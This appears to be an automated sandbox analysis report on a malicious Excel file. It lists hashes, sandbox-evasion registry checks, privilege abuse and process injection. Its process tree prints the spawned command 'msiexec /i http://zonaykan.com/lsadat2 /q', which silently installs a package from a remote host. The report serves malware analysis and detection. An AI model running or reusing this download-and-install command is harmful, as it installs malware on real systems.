Analysis
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max time kernel
46s -
max time network
34s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07-09-2024 21:19
Behavioral task
behavioral1
Sample
b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls
Resource
win10v2004-20240802-en
General
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Target
b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls
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Size
82KB
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MD5
4343c63398743e8ac3d76e63f799f1b6
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SHA1
7cd562a9c1be7d4f39ae824e1caeed9a6d03b81a
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SHA256
b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2
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SHA512
5af95beba0db5b5ea49fcaacb24013002afc51144a912fd8e250f522f8e371d278512e5740c7ca2ba3e7a16ef520b577bf01205a3435df378cfcbd9041f1348c
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SSDEEP
1536:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgrebDG7XE8rMxLgb4JSt1mGJfFacueBkgVq:0Kpb8rGYrMPelwhKmFV5xtezEsgrdgwR
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
msiexec.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5084 4516 msiexec.exe EXCEL.EXE -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 5084 msiexec.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4516 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
Processes:
msiexec.exemsiexec.exedescription pid process Token: SeShutdownPrivilege 5084 msiexec.exe Token: SeIncreaseQuotaPrivilege 5084 msiexec.exe Token: SeSecurityPrivilege 540 msiexec.exe Token: SeCreateTokenPrivilege 5084 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5084 msiexec.exe Token: SeLockMemoryPrivilege 5084 msiexec.exe Token: SeIncreaseQuotaPrivilege 5084 msiexec.exe Token: SeMachineAccountPrivilege 5084 msiexec.exe Token: SeTcbPrivilege 5084 msiexec.exe Token: SeSecurityPrivilege 5084 msiexec.exe Token: SeTakeOwnershipPrivilege 5084 msiexec.exe Token: SeLoadDriverPrivilege 5084 msiexec.exe Token: SeSystemProfilePrivilege 5084 msiexec.exe Token: SeSystemtimePrivilege 5084 msiexec.exe Token: SeProfSingleProcessPrivilege 5084 msiexec.exe Token: SeIncBasePriorityPrivilege 5084 msiexec.exe Token: SeCreatePagefilePrivilege 5084 msiexec.exe Token: SeCreatePermanentPrivilege 5084 msiexec.exe Token: SeBackupPrivilege 5084 msiexec.exe Token: SeRestorePrivilege 5084 msiexec.exe Token: SeShutdownPrivilege 5084 msiexec.exe Token: SeDebugPrivilege 5084 msiexec.exe Token: SeAuditPrivilege 5084 msiexec.exe Token: SeSystemEnvironmentPrivilege 5084 msiexec.exe Token: SeChangeNotifyPrivilege 5084 msiexec.exe Token: SeRemoteShutdownPrivilege 5084 msiexec.exe Token: SeUndockPrivilege 5084 msiexec.exe Token: SeSyncAgentPrivilege 5084 msiexec.exe Token: SeEnableDelegationPrivilege 5084 msiexec.exe Token: SeManageVolumePrivilege 5084 msiexec.exe Token: SeImpersonatePrivilege 5084 msiexec.exe Token: SeCreateGlobalPrivilege 5084 msiexec.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE 4516 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 4516 wrote to memory of 5084 4516 EXCEL.EXE msiexec.exe PID 4516 wrote to memory of 5084 4516 EXCEL.EXE msiexec.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b30c397815473cb2ef4798991402a91e76e300635e0c69d4c049bdff15842ea2.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe RESTART=1 /i http://zonaykan.com/lsadat2 /q ADRESS=TEMP2⤵
- Process spawned unexpected child process
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:5084
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:540